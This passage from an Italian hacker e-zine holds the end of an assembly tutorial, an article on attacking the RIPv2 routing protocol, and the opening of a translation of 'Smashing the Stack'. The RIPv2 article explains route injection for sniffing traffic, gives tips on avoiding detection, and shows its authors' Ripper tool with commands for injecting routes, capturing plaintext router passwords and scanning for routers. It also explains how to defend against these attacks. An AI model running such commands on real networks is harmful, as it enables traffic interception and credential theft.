aiuto meccanico, oscilla senza fermarsi mai. Mmmm, pero non mi piace
motlo la spiegazione.... Va be, per ora non ne trovo una migliore.
Il clock comunque e' il motore di tutto il PC e quindi anche del micro-
processore. Il microprocessore cioe' si serve del clock per fare tutti
i suoi calcoli. Ogni instruzione assembler viene eseguita dal micro.
in un certo numero di cicli di clock.
_
1 ciclo di clock = _| |
I microprocessori piu recenti quali il Pentium 4 impiegano 1 unico ciclo
per molte istruzioni.
+ I codici operativi.
Un programma eseguibile come un .exe, se lo aprite col wordpad, non e'
un file di testo con scritte istruzioni asm tipo "mov eax,2". E' in
realta' un assieme di codici ancora piu ristretti che corrispondono
pero' in maniera univoaca ad istruzioni assembler. Cioe', quando
scriverete il vostro primo programma asm lo scriverete in maniera a
voi comprensibile, cioe "mov eax,2". Questo pero verra' tradotto
nel momento in cui compilerete il codice, in istruzioni sa voi non
leggibili. Questi sono i codici operativi:
push ebp ; diventera' 55
mov ebp,esp ; diventera' 8BEC
xor edi,edi ; diventera' 33FF
push edi ; diventera' 57
E i codici operativi sono quelli che il processore legge da memoria ed
esegue. Sono le istruzioni non piu assembly ma codice macchina insomma.
+ L'assembly e le architetture
Per capirci, il linguaggio asm e' legato al microprocessore. Ogni
marca/modello di microprocessore ha il suo gruppo di istruzioni asm,
ed ogni istruzione asm viene tradotta in un gruppo di numeri che
solo quel microprocessore comprendera'. Per questo non e' un linguaggio
"portabile". Le istruzioni sono solo per quella famiglia di processori
compatibili e non per altre.
Ogni casa costruttrice puo costruire microprocessori compatibili (es.
AMD fa microprocessori che hanno le stesse istruzioni assembler di base
degli Intel). Non e' importante l'implementazione hardware che le case
utilizzano (implementazione, termine che fa molta scena, "fa figo" ed
e' usato per far paura alla gente). Insomma, non e' importante il come
ma e' importante che siano rispettate tutte le istruzioni (cioe' che
alla fine sia disponibile lo stesso set di istruzioni).
Queste definizioni erano comunque anticipazioni, capirete meglio
in seguito.
+ Compilatori, sinatassi
Il set di istruzioni asm e' legato al processore. Ogni processore ha il
suo set di istruzioni assembler ben preciso. Per trasformare le istru-
zioni assembler da voi scritte in codici operativi, cioe in un .exe
insomma, dovrete usare un compilatore, esattamente come per il C e il
C++. Ne esistono parecchi, per Windows e per Linux. Sotto Windows i piu
usati sono masm32, tasm (io mi son comprato 6 anni fa il Tasm 5.0),
Nasm, ed altri ancora. masm32 e Nasm sono entrambi free to use. Il mio
era a pagamento :( . Sotto Linux usavo lo stesso gcc.
Purtroppo da un compilatore a un altro le sintassi assembly cambiano
leggermente
masm32 mov eax, variabile
tasm "modalita ideal mode" mov eax, [variablie]
masm32 mov eax, numero
gcc mov $numero, %eax
(per il gcc cambia anche il senso, per mettere un numero nel
registro eax devo fare il contrario del masm32).
Insomma, per compilare un codice scritto per masm32 utilizzando Tasm,
saranno necessari dei piccoli aggiustamenti al codice.
-(3)- si entra nel vivo, il microprocessore, cosa fa, come funziona
Ho pensato a lungo un esempio facile e intuitivo. Ore 00:54 ma ormai ho
le cose in testa e voglio scriverle prima di perderle.
Immaginate una stanza vuota con una scrivania e voi seduti in questa
scrivania. Sapete che dovrete svolgere un lavoro non fisico ma diciamo
"mentale" in maniera veloce e continua. Sapete tuttavia che avete i
mezzi e le capacita' per farlo, che vi siete ben organizzati per farlo,
e che comunque vi verra detto passo passo cosa dovete fare.
La scrivania contiene sulla sinistra un contenitore con scritto "MEMORIA
CODICE" e sopra un altro contenitore con scritto "MEMORIA DATI", un
terzo contenitore con scritto "MEMORIA VIDEO" e un quarto con scritto
"RESTO DELLA MEMORIA", tutti uno sopra all'altro, l'ordine in cui i
contenitori si sormontano non e' importante.
Il contenitore "MEMORIA CODICE" contiene un mazzetto di fogli che e'
l'elenco delle cose che dovrete svolgere.
Sulla vostra destra avete una lavagnetta riscrivibile divisa in 16 ret-
tangoli, in cui potete scrivere con un pennerello. Ogni rettangolo ha
un nome ben preciso, cioe' 1 per la prima, 2 per la seconda e cosi via
fino a 16. Si comincia.
Dal contenitore "memoria codice" VI PRENDETE il primo foglio che sta
sopra. Lo leggete, e trovate scritto "SCRIVI IL NUMERO 25 NELLA CASELLA
n.1 DELLA LAVAGNA". Facile, lo fate subito e cestinate il foglio.
Fatto cio' vi PRENDETE ora il prossimo foglio dal cassetto "memoria co-
dice". C'e' scritto "SCRIVI IL NUMERO 4 NELLA CASELLA n.2 DELLA LAVA-
GNA". Bene, lo fate senza alcun problema e velocemente.
Ora RITIRATE il terzo foglio. Dice "MOLTIPLICA IL NUMERO NEL RIQUADRO
1 PER IL NUMERO CONTENUTO NEL RIQUADRO 2, RISCRIVI IL RISULTATO NEL RI-
QUADRO 1". Voi con la vostra mente potente eseguite il calcolo e sovra-
scrivete (dopo aver cancellato) il risultato nel riquadro 1).
Bene avete svolto le vostre prime tre istruzioni assembler: mi spiego.
** Trasformero' gli esempi della vita reale come quello della scrivania,
in istruzioni assembler per microprocessori "i386 family", cioe 80386,
486, Pentium, fino al Pentium4, e ovviamente micro compatibili AMD e
altri. Questi processori utilizzano tutti le stesse istruzioni asm di
base.
Ricapitolando.
Quando cliccate un .exe questo viene rilocato dall'hard disk in memoria.
Di questo si occupa il sistema operativo, magari anche senza interessare
il microprocessore (DMA, direct memory access, i dati passano da HD a
memoria tramite un chip "controller DMA").
1) Il micro legge da memoria la prima istruzione, leggendola dalla
zione dove comincia il codice da eseguire. Sa da dove leggere perche'
il sistema operativo carica riempie il registro chiamato IP (instruction
pointer) con la locazione di partenza del codice.
La prima istruzione (che non e' altro che un gruppo di 2 BYTES,
detto anche codice operativo) dice
mov eax, 25
il micro scrive il numero 25 nel suo primo cassetto, "registro che
si chiama eax".
2) Fatto questo il micro ritira dalla memoria la seconda istruzione,
aggiungendo al registro EIP (puntatore alla memoria del codice) il nu-
mero di bytes del primo codice operativo (questa operazione la fa il
micro da solo, non e' necessaria nessuna istruzione asm).
mov ebx, 1
mette 1 nel secondo cassetto, chiamato registro ebx.
3) Viene sommata al registro EIP la quantita' di bytes dell'istruzione
precedente, e letta la terza istruzione
mul ebx
Con questa istruzione il micro moltiplica eax per ebx e mette il risulta-
to in eax.
Bene, questo e' un primo stupido spezzone di codice assembly:
start:
mov eax,25
mov ebx,1
mul ebx
end
Questo prima perte volge al termine perche' ormai sono stanco. Per la
prossima volta studiate: i nomi dei registri di base del pentium:
eax, ebx, ecx, edx,
esi,edi, esp, ebp, eip,
es, cs, ss, ds, fs, gs,
flags
Li ho gia raggruppati in piccole famiglie. Non e' importante per ora il
loro impiego specifico, per ora provate a memorizzarne il nome.
Ricordate che i registri fanno parte del microprocessore, sono dentro
al microprocessore. Le istruzioni vengono lette solitamente dalla memo-
ria cache che e' dentro al processore. Questo perche' quando sono nati
i 486, il processore era molto piu veloce a decodificare e eseguire le
istruzioni rispetto al leggerle da memoria RAM fuori dal processore.
Allora hanno inventato la "chache", cosi vengono copiati blocchi di me-
moria in cache che si trova all'interno del micro (meglio ripetere, c'e'
una cache anche fuori del micro spesso, ma per ora non ce ne occuperemo
per non crear confusiuone). La lettura delle istruzioni fatta da cache
sara' quindi piu prestante.
Ok per ora mi fermo. Un microprocessore e' ben piu complesso di cosi'..
e l'assembly pentium e' vasto, pieno di tante e tante istruzioni.Voi
direte ma allora, come funzionano i giochi 3D come counter strike se il
micro fa solo calcoli ? Vi dico ancora questo e poi vi lascio a riflet-
tere.
Scrivendo nella particolare locazione di memoria riservata alla "memoria
video", mettendo un BYTE di valore 5 in un determinato indirizzo, vedre-
te un pixel colorarsi sullo schermo.
mov [memAddress], 70fc3aH ; H finale = hex, 0x del C/C++
mov byte ptr [memAddress], 5
70fc3aH e' per ora un indirizzo inventato, dipende dalla scheda video.
Comunque, diciamo che con calcoli e scrittura di byte in memoria video
vengono fatti i giochi. E l'asm e' particolarmete indicato proprio per
i motori grafici 3D, come C e C++ sono piu indicati per applicazioni
in genere, in quanto ne velocizzano lo sviluppo. Quello che non faro'
e' entrare nei solito dibattito senza fine "e' meglio l'asm o il C ?".
Ne ho visti tanti in molti forum, e non portano a nulla.
Se no si scirve un buon codice asm, un compilatore come VC++ M$ non lo
batti facilmente, pero batti senza troppa fatica un C++ Builder, visto
che la prima volta che ho buttato la un funzione in asm ho battuto con
il 30% in meno di tempo la stessa funzione scritta in un buon C.
Bene vi saluto, spero di non avervi creato troppa confusione con tutte
queste nozioni. Anche per questo mi fermo. Forse era meglio che andassi
in discoteca ? Chissa', magari ho perso il treno della mia vita...
Va be dai, il vecchio assembler in compernso non tradisce mai.
Alla prossima.
spectrum <asm(at)ngi<dot>it>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x08][SECURiTY] RiPv2 iNSECURiTiES [mydecay & click] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
---[ RIPv2 Insecurities
-----[ mydecay <mydecay@spine-group.org>
-----[ click <click@spine-group.org>
-[ Prelude ]-
En aapning i skogen
hvor solen skinner
Hindret av trerne fanges vi
i denne guds appning
Det brenner det svir
nar lyset slikker vaart kjott
opp mot skyene en roeyk
en sky av vaares form
Fanget av begravelsen
pinse vi av guds godhet
ingen flammer intet hat
de hadde rett vi kom til helvete
- Burzum, Hvis Lyset Tar Oss
-[ Overview ]-
Salve a tutti :). In questo articolo prenderemo in considerazione
il protocollo di routing dimanico RIPv2, con particolare attenzione
verso i suoi buchi di sicurezza. Iniziamo col chiarire cosa si intende
per protocollo di routing dinamico: in una rete, piccola o grande che
sia possono avvenire dei cambi di topologia, per esempio quando un router
viene messo offline per manutenzione, o quando crasha, ed in queste
situazioni gli altri routers devono essere in grado di dialogare tra loro,
rendersi conto della variazione di topologia avvenuta e cambiare gli
instradamenti in modo da offrire ai pacchetti in ingresso una via sicura
per giungere a destinazione.
RIPv2 e' un protocollo di routing a vettore di distanza, che cioe' prende
come criterio di discriminazione solo ed esclusivamente la distanza tra la
sorgente e la destinazione e non altri paramentri come ad esempio la
qualita' del link che lega i due endpoint. E' maggiormente utilizzato
nelle LAN di piccole dimensioni in quanto gestisce fino ad un massimo di
15 hop. E' molto leggero e versatile, sfrutta UDP, e genera poco traffico
(a parte qualche piccolo caso che verra' analizzato in seguito).
-[ Funzionamento ]-
Per capire bene come lavora RIPv2, che tra l'altro e' molto semplice
facciamo uso di un esempio.
192.168.1.0/24 192.168.2.0/24
-------------- --------------
| |
| |
| |
------ ------
| R1 |-------------| R2 |
------ ------
| |
| |
| |
------ ------
| R3 |-------------| R4 |
------ ------
| |
| |
| |
-------------- --------------
192.168.3.0/24 192.168.4.0/24
Si si lo so. Come esempio non e' il migliore che potevo prendere
ma m'e' venuto in mente questo e basta per i nostri scopi :).
Dunque, il funzionamente e' molto facile: ogni router ogni 30 secondi
mandera' una RESPONSE ai suoi vicini pubblicizzando le reti che stanno
dietro di lui. Schematizziamo il tutto:
Sorgente Destinazione Rete Pubblicizzata Metrica
R1 R2, R3 192.168.1.0/24 1
R2 R1, R4 192.168.2.0/24 1
R3 R1, R4 192.168.3.0/24 1
R4 R2, R4 192.168.4.0/24 1
Questa tabella vale appena la rete viene resa "operativa", dopo un
po' di tempo, diciamo 3 minuti, i router prendono "coscienza" della
presenza di altre subnet, pubblicizzate dagli altri router e le
inseriscono nelle proprie tabelle di routing.
Sorgente Destinazione Reti Pubblicizzate Metrica
R1 R2, R3 192.168.1.0/24 1
192.168.2.0/24 2 (via R2)
192.168.3.0/24 2 (via R3)
192.168.4.0/24 3 (via R2, R3)
R2 R1, R4 192.168.1.0/24 2 (via R1)
192.168.2.0/24 1
192.168.3.0/24 3 (via R1, R4)
192.168.4.0/24 2 (via R4)
R3 R1, R4 192.168.1.0/24 2 (via R1)
192.168.2.0/24 3 (via R1, R4)
192.168.3.0/24 1
192.168.4.0/24 2 (via R4)
R4 R2, R3 192.168.1.0/24 3 (via R2, R3)
192.168.2.0/24 2 (via R2)
192.168.3.0/24 2 (via R3)
192.168.4.0/24 1
Oh finalmente ho finito... due balle.
Cmq spero che abbiate capito. La metrica non e' nient'altro che un hop
count. Un pacchetto che arriva a R1 proveniente da 192.168.1.4 ad
esempio sa che per raggiungere 192.168.3.89 deve passare per R3 e
raggiungera' la destinazione in 2 hop.
Come abbiamo precedentemente detto, RIPv2 e' stato pensato per LAN
piccole, infatti una metrica impostata a 16 corrisponde ad un host
irraggiungibile.
Inoltre RIPv2 per rendere piu' efficace il proprio funzionamente
implementa due particolare comportamenti, conosciuti sotto il
nome di Split Horizon e Triggered Updates.
-[ Split Horizon ]-
Il meccanismo dello split horizon ha lo scopo di evitare i loop.
Come al solito ci serviamo di un esempio.
/--------[ R1 ]\------------\
192.168.1.0 \ \
\ \
192.168.2.0-----[ R2 ]---------[ R3 ]------192.168.3.0
La situazione in questo caso sara' la seguente:
Sorgente Destinazione Reti Pubblicizzate Metrica
R1 R2, R3 192.168.1.0 1
192.168.2.0 2 (via R2)
192.168.3.0 2 (via R3)
R2 R1, R3 192.168.1.0 2 (via R1)
192.168.2.0 1
192.168.3.0 2 (via R3)
R3 R2, R3 192.168.1.0 2 (via R1)
192.168.2.0 2 (via R2)
192.168.3.0 1
Ora supponiamo che il router R3 crashi. La subnet 192.168.3.0 non
sara' piu' raggiungibile in nessun modo. I router R1 e R2 si
accorgeranno che il loro link con R3 e' caduto, in quanto R3 non
rispondera' piu' con le sue response, ma saranno convinti di poter
raggiungere R3 uno attraverso l'altro, cioe' R1 attraverso R2
e R2 attraverso R1 :). Questo creerebbe un macello tremendo. Pero'
in nostro soccorso ci viene lo split horizon :)
Questo meccanismo prevede di escludere dalla response verso un
router tutte quelle route che sono state pubblicizzate da
quello stesso router. In questo modo si eviterebbe di creare
loop. Quindi la response che R1 inviera' a R2 includera' tutte
le routes tranne quelle che egli stesso ha imparato da R2.
Una variante, che e' anche la piu' diffusa di default, e' lo
split horizon with poisoned reverse, che si differenzia dallo
split horizon liscio solo per il fatto che al posto di omettere
le routes, le include ma setta la loro metrica a 16, cioe' le
marca come irraggiungibili.
-[ Triggered Updates ]-
Lo split horizon puo' salvarci da un noioso loop solo quando i
router coinvolti sono due, ma quando cominciano ad essere piu'
di due, lo split horizon si rivela inefficace. Senza stare qui
a disegnare altri schemi se il router A pensa di raggiungere
la destinazione via B, B via C e C via A, lo split horizon non
serve a nulla, bisognera' solo aspettare che la metrica per
questa data route salga di uno ad ogni "giro" fino a raggiungere
quota 16 per essere quindi dichiarata irraggiungibile.
Pero' al ritmo di una response ogni 30 secondi, il loop si
risolverebbe in troppo tempo con una perdita di pacchetti
considerevole.
Quindi si e' pensato di risolvere la cosa, velocizzando il
processo e quindi facendo in modo che la metrica per questa
data route raggiunga quota 16 il piu' presto possibile.
E qui entrano in gioco le triggered updates che forzano un
router, appena questo riceve una response che varia una route
qualsiasi, a generare una response a sua volta. In questo
modo qualsiasi loop si risolverebbe nel giro di qualche secondo
e la route verrebbe dichiarata irraggiungibile in poco tempo
con consegente risparmio di pacchetti persi :).
-[ Header ]-
Analizzato il funzionamento del protocollo prendiamo in esame
il suo header che e' composto da due porzioni:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| command (1) | version (1) | must be zero (2) |
+---------------+---------------+-------------------------------+
| |
~ RIP Entry (20) ~
| |
+---------------+---------------+---------------+---------------+
Questo qui e' l'header generale, mentre in seguito ci sara' l'header
per ogni rotta.
Command: Request o Response.
Qui c'e' da aprire una piccola parentesi. La response abbiamo visto
come funziona, e' ora di analizzare brevemente la request.
Quando un router viene inserito nella LAN ha necessariamente bisogno
di farsi un'idea di come sia strutturata la rete in modo da mandare
le giuste REPLY. A questo scopo si serve della RIP REQUEST.
Essa opera seguendo due modalita' principali. La prima e piu' semplice
consiste nell'inviare una REQUEST specificando la route di cui si
vuole sapere la metrica, mentre la seconda si ottiene specificando
AFI == 0 e metric == 16, in questo modo si richiede al router TUTTA
la sua routing table.
Parentesi chiusa :)
Version e' 1 o 2 a secondo dalla versione. Dopo i due bytes inutilizzati
inizia lo spazio per le routes entry, che possono essere fino a 20 in
un pacchetto. Queste entry sono formalizzate in un header che ha queste
sembianze :)
0 1 2 3 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Address Family Identifier (2) | Route Tag (2) |
+-------------------------------+-------------------------------+
| IP Address (4) |
+---------------------------------------------------------------+
| Subnet Mask (4) |
+---------------------------------------------------------------+
| Next Hop (4) |
+---------------------------------------------------------------+
| Metric (4) |
+---------------------------------------------------------------+
Eccolo qua il nostro bel headerone. Il primo campo e' il tipo di
indirizzo, che e' sempre (o quasi) IP. Il secondo campo contraddistingue
se la route e' stata appresa da un EGP o meno.
Seguono a ruota campi la cui comprensione e' abbastanza agile :)
Per concludere, l'header assume un altro aspetto se e' presente
l'autenticazione, che nativamente e' di due tipi: plaintext e MD5.
Se infatti e' presente allora il campo AFI avra' valore 0xFFFF
e i 16 bytes dopo la route tag conterranno la chiave in plaintext
oppure la key MD5.
L'autenticazione con password plain text serve solo nel caso in cui
si voglia proteggere il routing da aggiornamenti accidentali o
cose comunque in "buona fede". Ovviamente quando entra in gioco un
attacker maligno, questo tipo di autenticazione cade.
Come funzioni l'autenticazione Keyed MD5 esula dagli scopi di questo
articolo, ma potete fare riferimento all'rfc seguente:
http://www.ietf.org/rfc/rfc2082.txt?number=2082
-[ RIPv2 InSeCuRiTiEs ]-
Adesso che siamo entrati in confidenza con il protocollo e abbiamo
chiaro come e' strutturato, possiamo affrontare le sue debolezze :)
Come spero abbiate gia' capito nulla ci vieta di fingerci un router
e di pubblicizzare le nostre rotte (completamente fasulle) per modificare
il traffico in trasito nella nostra LAN.
C'e' solo qualche piccolo accorgimento da prendere. Ovviamente i router
se trovano due metriche per una stessa route sceglieranno quella piu'
bassa, quindi sta a noi injectare rotte con metriche abbastanza basse.
Altri campi fondamentali sono il next hop e soprattutto la netmask. Il
next hop perche' e' proprio grazie a lui che che riusciamo a deviare
il traffico. Se non lo specifichiamo verra' settata automaticamente
sull'ip della nostra macchina.
La netmask invece e' fondamentale per fare un altro simpatico giochetto.
Se abbiamo una route che e' gia' pubblicizzata con la metrica di 1 non
possiamo ovviamente ottenere una metrica inferiore e variare dunque il
traffico...dobbiamo farci furbi. Nelle implementazioni ripv2 che abbiamo
testato, ma dovrebbe essere cosi' per tutte, cio' che fa fede a parita'
di metrica e' la precisione della netmask. Infatti se abbiamo due rotte
con metriche identiche ma una ha netmask 255.255.0.0 e una 255.255.255.0
verra' tenuta la seconda. In questo modo se noi vogliamo deviare il
traffico di un host basta che mettiamo metrica 1 e netmask 255.255.255.255.
In questo modo abbiamo la quasi certezza (a meno che la metrica non sia
gia' cosi' precisa) di riuscire a redirigere il traffico.
-[ Fare le cose fatte bene ]-
Ora che siamo consapevoli delle nostre potenzialita' all'interno della
LAN si tratta solo di fare le cose fatte bene e quindi di non farci
scoprire. Alcune dritte senza esempi in modo che siate voi a provare,
testare, smanettare.
Se decidiamo di redirigere il traffico sul nostro host per sniffare i
fatti degli altri sarebbe buona regola fare il modo che dopo i
pacchetti arrivino alla giusta destinazione (magari anche con un ttl
fasullo) in modo da non insospettire troppo la vittima. In questo caso
netfilter puo' essere di graaaande aiuto.
Ricordate che le triggered updates sono spesso vostre nemiche. Se pensate
di essere furbi e spoofare l'ip di un router per mandare rotte con metriche
a 16 sappiate che cio' non e' possibile, perche' in tempo zero, arrivera'
una triggered updates al router vero dicendogli di aver pubblicizzato una
rotta a 16, cosa che lui non ha mai fatto e si affrettera' a mandare una
response con metrica corretta.
Se avete una topologia di questo tipo
VOI ---- R1 ---- R2 ---- R3 ---- R4
e injectate una rotta con metrica 1 a R1 non pensiate che a R4 arrivi
lo stesso con metrica 1 :). Arrivera' con metrica 4. Per fargliela
arrivare con metrica 1 dovrete attuare un piccolo e semplice workaround,
niente di difficile cmq.
-[ Ripper ]-
Ripper e' un tool che permette di fare tutte queste belle cosucce che
abbiamo detto con una simpatica interfaccia command line e una
(ancora sperilmentale nel momento in cui scrivo) comoda interfaccia
ncurses. Supporta alcune simpatiche feature, come ad esempio il controllo
che la rotta sia stata injectata correttamente, lo sniffing delle
password in plain text e delle key MD5, lo scanning per rilevare la
presenza di router ripv2 e l'injection remota, e inoltre funziona anche
da agenda telefonica per i casi di emergenza con possibilita' di chiamare
gratuitamente numeri 144* e 166*.
Il testing di ripper e' stato fatto interamente con quagga e zebra, ogni
donazione in cisco, juniper o 3com sara' ben accetta.
Ed ora qualche breve esempio di funzionamento.
Routing table del router prima dell'injection:
fistfucker:/home/mydecay# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.100.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
172.16.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 ppp0
Ora nella macchina "evil" usiamo il nostro fichissimo tool come segue:
bash-2.05b# ./ripper -r 90.0.0.0 -n 255.255.255.0 -m 4 -c
RiPPeR v. 0.1.4 by mydecay && click
Press 'q' and Enter to exit
Route 90.0.0.0: Injected Correctly
Route 90.0.0.0: Injected Correctly
[...]
Ed ora la routing table del nostro router si presentera cosi':
fistfucker:/home/mydecay# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.100.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
90.0.0.0 10.0.0.1 255.255.255.0 UG 5 0 0 eth0
10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
172.16.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 ppp0
dove 10.0.0.1 e' la macchina evil.
Se vogliamo cambiare il default gw basta semplicemente che specifichiamo
l'opzione -g seguita dall'indirizzo ip.
Per vedere se i router rip utilizzano password e' necessirio lanciare ripper
solo con l'opzione -x.. come segue:
bash-2.05b# ./ripper -x
RiPPeR v. 0.1.4 by mydecay && click
Press 'q' and Enter to exit
Packet Examined... password found == suka
E quindi se volete injectare route su router che usano l'auth bastera'
lanciare ripper cosi:
bash-2.05b# ./ripper -r 90.0.0.0 -n 255.255.255.0 -p suka -c
RiPPeR v. 0.1.4 by mydecay && click
Press 'q' and Enter to exit
Route 90.0.0.0: Injected Correctly
[...]
Ultima simpatica feature che andiamo ad analizzare e' il broadcast
scanning per vedere se in una data subnet sono presenti o meno router
ripv2.
ATTENZIONE: nella versione corrente il broadcast scanning funziona solo
con i router che non prevedono autenticazione.
bash-2.05b# ./ripper -b 10.0.0.0/24
RiPPeR v. 0.1.4 by mydecay && click
Scanner Mode Enabled.
** press ^c to exit **
Sending Packets: Packets From 10.0.0.0 to 10.0.0.254 Sent!
Now Listening..
HOST 10.0.0.4 SPEAKS RIPv2!!
*-*-*-*-*-*-*-*-*-*-*-*-*
|-- IP: 90.0.0.0
|------ Metric: 1
|------ Netmask: 255.255.0.0
|------ Next Hop: 0.0.0.0
|------ Tag: 0
|------ Family: 2
[...]
-[ Conclusioni ]-
Proprio per la sua struttura ripv2 non e' nativamente un protocollo
su cui ci si puo' affidare. Presenta parecchi punti deboli che e'
possibile sfruttare per fare malanni. D'altra sappiamo bene che in
LAN e' possibile fare il bello e il cattivo tempo in MOOOOLTI modi,
questo si va ad aggiungere alla numerosa lista.
In ultima analisi se proprio volete usare ripv2 per la sua facilita'
di configurazione e leggerezza i consigli che posso darvi sono di
usare l'autenticazione MD5 che si e' rilevata abbastanza sicura,
oppure fare affidamento su una pratica particolarmente usata cioe'
quella dei tunnel criptati tra router e router, che offre un livello
di protenzione abbastanza elevato.
hail & kill
mydecay && click
links:
www.spine-group.org sezione cvs per l'ultima release di ripper
www.ietf.org per gli rfc del caso
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x09][TRADUZi0NE] SMASHiNG THE STACK F0R FUN AND PR0FiT [eafkuor] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
BugTraq, r00t, and Underground.Org
bring you
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by Aleph One
aleph1@underground.org
`smash the stack` [C programming] n. In molte implementazioni C
e' possibile corrompere l' esecuzione dello stack scrivendo oltre
la fine di un array dichiarato in una routine. Questo e'
il cosiddetto "smashing dello stack" (letteralmente
frantumare lo stack), e puo' causare il ritorno di una funzione
ad un indirizzo a caso. Questo puo' produrre i piu' insidiosi
bugs dipendenti dai dati conosciuti. Alcune varianti sono:
trash the stack, scribble the stack, mangle the stack; mung the
stack non e' usato. Guarda per spam; guarda anche per alias
bug, fandango on core, memory leak, precedence lossage, overrun
screw.
Introduzione
~~~~~~~~~~~~
Negli ultimi mesi c'e' stato un largo incremento di vulnerabilita'
per buffer overflow sia scoperte che exploittate. Esempi sono syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc.
Questo documento cerca di spiegare cosa sono i buffer overflows e come
lavorano i loro exploit.
Una conoscenza base dell' assembly e' richiesta. Una comprensione
della memoria virtuale e una conoscenza del gdb saranno molto di aiuto,
ma non necessarie. Lavoreremo su CPU INTEL x86 e su Linux come sistema
operativo.
Qualche definizione di base prima di iniziare: un buffer e'
semplicemente un blocco di memoria contigua che memorizza multiple
istanze di dati dello stesso tipo. I programmatori C normalmente
associano la parola buffer a quella di array. Piu' comunemente, array di
caratteri. Gli array, come tutte le altre variabili in C, possono
esssere dichiarati dinamici o statici. Le variabili statiche sono sono
allocate in load time (tempo di caricamento)sul data segment (segmento
dati). Le variabili dinamiche sono allocate inrun time (tempo di
secuzione) sullo stack. Overfloware vuol dire abbondare,riempire oltre
il limite. Noi ci occuperemo solo dell' overflow di buffer
dinamici, altrimenti conosciuti come stack-based buffer overflows
(buffer overflow basati sullo stack).
Organizzazione In Memoria Dei Processi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Per capire cosa sono gli stack buffer dobbiamo prima di tutto capire
come un processo e' organizzato in memoria. I processi sono divisi in
tre regioni: Text, Data e Stack. Noi ci concentreremo sulla regione dello
Stack, ma una piccola spiegazione delle altre regioni e' d' obbligo.
La regione Text e' organizzata dal programma e contiene il codice (le
istruzioni) e i dati read-only. Questa regione corrisponde alla sezione
text di un file eseguibile. Questa regione e' normalmente marcata
read-only e ogni tentativo di scrittura su di essa avra' come risultato
una segmentation violation.
La regione Data contiene dati inizializzati e non. Le variabili static
sono situate in questa regione. La regione Data corrisponde alla sezione
data-bss di un file eseguibile. La sua dimensione puo' essere cambiata
attraverso la system call brk(2). Se l' espansione del bss data o
dell' user stack esauriscono la memoria disponibile il processo e'
bloccato ed e' rischedulato per essere eseguito di nuovo con uno spazio
di memoria maggiore. La nuova memoria e' aggiunta tra i segmenti data
e stack.
/------------------\ bassi
| | indirizzi di
| Text | memoria
| |
|------------------|
| (dati inizializ) |
| Data |
| (non inizializ) |
|------------------|
| |
| Stack | alti
| | indirizzi di
\------------------/ memoria
Fig. 1 Process Memory Regions
Cosa E' Uno Stack?
~~~~~~~~~~~~~~~~~~
Uno stack e' un tipo di dati astratto frequentemente usato nella
scienza dei computer. Uno stack di oggetti ha la proprieta' che l'
ultimo oggetto ad essere stato inserito nello stack sara' il primo ad
essere prelevato.
Questa proprieta' e' spesso chiamata coda last in first out, o LIFO.
Diverse operazioni sono possibili sullo stack. Due delle piu'
importanti sono PUSH e POP. PUSH aggiunge un elemento alla cima dello
stack. POP, al contrario riduce la dimensione dello stack di uno
rimuovendo l' ultimo elemento alla cima dello stack.
Perche' Usiamo Uno Stack?
~~~~~~~~~~~~~~~~~~~~~~~~~
I computer moderni sono progettati con la necessita' di linguaggi di
alto livello in memoria. La tecnica piu' importante per strutturare
programmiscritti con linguaggi di alto livello e' la funzione o
procedura. Da un punto di vista una chiamata di funzione altera il
flusso di controllo giusto come fa un salto, ma diversamente da un
salto, quando ha compiuto il suo dovere, la funzione ritorna il
controllo all' istruzione successiva alla chiamata. Questa astrazione di
alto livello e' implementatacon l' aiuto dello stack.
Lo stack e' usato anche per allocare dinamicamente le variabili
locali usate nelle funzioni, per passare i parametri alle funzioni, e
per ritornare i valori dale funzioni.
La Regione Stack
~~~~~~~~~~~~~~~~
Uno stack e' un blocco di memoria contigua che contiene dati. Un
registro chiamato stack pointer (SP) punta alla cima dello stack. La
base dello stack si trova ad un indirizzo fisso. La CPU implementa
istruzioni per PUSHare sullo stack e POPare dallo stack.
Lo stack e' formato da strutture stack (stack frames) logiche che
sono pushate alla chiamata di una funzione e popate al ritorno.
Uno stack frame contiene i parametri di una funzione, le sue variabili
locali, e i dati necessari per ritrovare il precedente stack frame,
includendo il valore dell' instruction pointer al tempo della chiamata
di funzione.
Dipendentemente dall' implementazione lo stack crescera' verso il
